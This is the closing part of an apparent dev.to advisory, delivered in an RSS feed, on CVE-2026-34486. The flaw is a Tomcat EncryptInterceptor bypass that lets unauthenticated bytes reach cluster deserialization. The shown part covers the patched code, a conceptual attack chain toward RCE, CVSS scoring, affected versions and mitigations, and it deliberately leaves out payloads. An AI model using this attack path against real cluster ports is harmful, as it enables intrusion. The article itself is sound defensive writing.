        &lt;span class="n"&gt;xbb&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;append&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;length&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt; &lt;span class="k"&gt;catch&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;GeneralSecurityException&lt;/span&gt; &lt;span class="n"&gt;gse&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;log&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;error&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Unable to decrypt cluster message, dropping message"&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;gse&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;  &lt;span class="c1"&gt;// stop processing immediately on decryption failure&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;
    &lt;span class="kd"&gt;super&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;messageReceived&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;  &lt;span class="c1"&gt;// only reached if decryption succeeded&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The fixed version adds an explicit &lt;code&gt;return&lt;/code&gt; on decryption failure, ensuring unvalidated messages never propagate further. It's a classic reminder for code review: &lt;strong&gt;catching an exception is not the same as handling it safely&lt;/strong&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  &lt;strong&gt;Attack Flow&lt;/strong&gt;
&lt;/h2&gt;

&lt;p&gt;This flaw becomes a real threat because Tomcat's clustering framework, &lt;strong&gt;Apache Tribes&lt;/strong&gt;, deserializes incoming messages into objects. Once EncryptInterceptor is bypassed, a path opens for attacker-controlled bytes to reach that deserialization stage unchecked.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fx9liqucq4bfmekfkxvje.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fx9liqucq4bfmekfkxvje.png" alt=" " width="800" height="389"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Figure 2. Attack chain from EncryptInterceptor bypass to potential RCE (conceptual)&lt;/em&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;ℹ️ This write-up covers only the &lt;strong&gt;structural root cause and conceptual attack flow&lt;/strong&gt;. Actual gadget chain payloads or exploit reproduction steps are intentionally omitted — even for a patched CVE, weaponized reproduction steps are not something to publish. For environment testing, follow official vendor guidance and your organization's internal security procedures.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2&gt;
  
  
  &lt;strong&gt;Impact &amp;amp; Severity&lt;/strong&gt;
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Metric&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Attack Vector (AV)&lt;/td&gt;
&lt;td&gt;Network — remotely exploitable if the cluster port is reachable&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Attack Complexity (AC)&lt;/td&gt;
&lt;td&gt;Low&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Privileges Required (PR)&lt;/td&gt;
&lt;td&gt;None — no authentication required&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;User Interaction (UI)&lt;/td&gt;
&lt;td&gt;None&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Confidentiality Impact&lt;/td&gt;
&lt;td&gt;High — cluster messages exposed in plaintext, with potential escalation to RCE&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CVSS 3.1&lt;/td&gt;
&lt;td&gt;7.5 (High) / &lt;code&gt;AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;The official CVSS vector only scores confidentiality (C) impact as High. But given the real-world context that cluster messages get &lt;strong&gt;deserialized&lt;/strong&gt;, there's a realistic path to chained integrity and availability impact. Prioritizing purely by the raw CVSS score risks underrating this issue.&lt;/p&gt;

&lt;p&gt;  &lt;iframe src="https://www.youtube.com/embed/1IR6JIJwELY"&gt;
  &lt;/iframe&gt;
&lt;/p&gt;

&lt;h2&gt;
  
  
  &lt;strong&gt;Affected Versions&lt;/strong&gt;
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Product&lt;/th&gt;
&lt;th&gt;Affected Version&lt;/th&gt;
&lt;th&gt;Fixed Version&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Apache Tomcat 9.x&lt;/td&gt;
&lt;td&gt;9.0.116&lt;/td&gt;
&lt;td&gt;9.0.117&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Apache Tomcat 10.1.x&lt;/td&gt;
&lt;td&gt;10.1.53&lt;/td&gt;
&lt;td&gt;10.1.54&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Apache Tomcat 11.0.x&lt;/td&gt;
&lt;td&gt;11.0.20&lt;/td&gt;
&lt;td&gt;11.0.21&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;blockquote&gt;
&lt;p&gt;This vulnerability is only meaningful in &lt;strong&gt;clustered deployments&lt;/strong&gt; (i.e., a &lt;code&gt;&amp;lt;Cluster&amp;gt;&lt;/code&gt; configuration with &lt;code&gt;EncryptInterceptor&lt;/code&gt; applied). Single-instance deployments without clustering are not affected.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2&gt;
  
  
  &lt;strong&gt;Mitigation&lt;/strong&gt;
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Patch immediately&lt;/strong&gt; — upgrade to 9.0.117 / 10.1.54 / 11.0.21 or later.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Network-level defense&lt;/strong&gt; — until patched, restrict the cluster port (default 4000) to trusted nodes only, and consider adding network-level encryption such as IPsec or a VPN tunnel.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Verify cluster encryption post-patch&lt;/strong&gt; — independently confirm that inter-node communication is actually encrypted after upgrading.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Monitor for anomalous traffic&lt;/strong&gt; — add detection rules for unusual scanning or connection attempts against the cluster port.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;End-of-life versions&lt;/strong&gt; — if running an unsupported legacy version, evaluate commercial extended support options (e.g., HeroDevs NES).&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  &lt;strong&gt;Conclusion&lt;/strong&gt;
&lt;/h2&gt;

&lt;p&gt;CVE-2026-34486 is a textbook example of a security patch introducing a new vulnerability. In fixing a padding-oracle side-channel by catching an exception, the accompanying control-flow question — &lt;strong&gt;"should processing continue after this failure?"&lt;/strong&gt; — was overlooked, effectively neutralizing the encryption component it was meant to protect.&lt;/p&gt;




</description>
      <category>security</category>
      <category>java</category>
      <category>tomcat</category>
      <category>cve</category>
    </item>
  </channel>
</rss>
